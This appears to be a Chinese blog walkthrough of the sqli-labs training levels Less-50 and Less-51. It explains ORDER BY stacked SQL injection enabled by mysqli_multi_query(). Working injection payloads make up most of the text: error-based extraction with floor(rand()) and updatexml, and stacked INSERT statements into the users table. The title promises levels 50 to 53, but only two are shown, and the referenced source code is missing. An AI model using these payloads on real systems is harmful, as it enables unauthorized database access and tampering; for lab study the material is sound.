Sqli-labs之Less:50-53

                                              Less-50

基於錯誤_GET_數字型_排序堆疊注入

我們可以看下 Page 3 的關卡組成如下:

Less 38 - Less 41:GET 型堆疊注入
Less 42 - Less 45:POST 型堆疊注入
Less 46 - Less 49:排序注入
Less 50 - Less 53:排序堆疊注入

而Less-50的核心源碼如下:(沒有任何的過濾)

我們從源碼可以看到,一般後臺查詢數據庫使用的語句都是mysql_query(),而可以堆疊注入的後臺使用的是mysqli_multi_query()。(這個函數是能否進行堆疊注入的關鍵)

Less-46的排序注入在這一關通用,如:

?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)

?sort=1 and (updatexml(1,concat(0x7e,(select database())),0)) 

同理,堆疊注入的方法也同樣適用這一關,詳細可參考Less-38:

?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+

(注:數字型還是比較簡單的)

------------------------------------- 分隔符 -------------------------------------

                                             Less-51

基於錯誤_GET_字符型_單引號_排序堆疊注入

本關的 sql 語句爲

和Less-50的操作基本一樣,只要注意單引號的閉合和註釋符就可以了。

例如:

?sort=1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+

堆疊注入:

?sort=1';insert into users values(51,'Less51','Less51')--+

---------------------------  分隔符  ------------------------------------

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章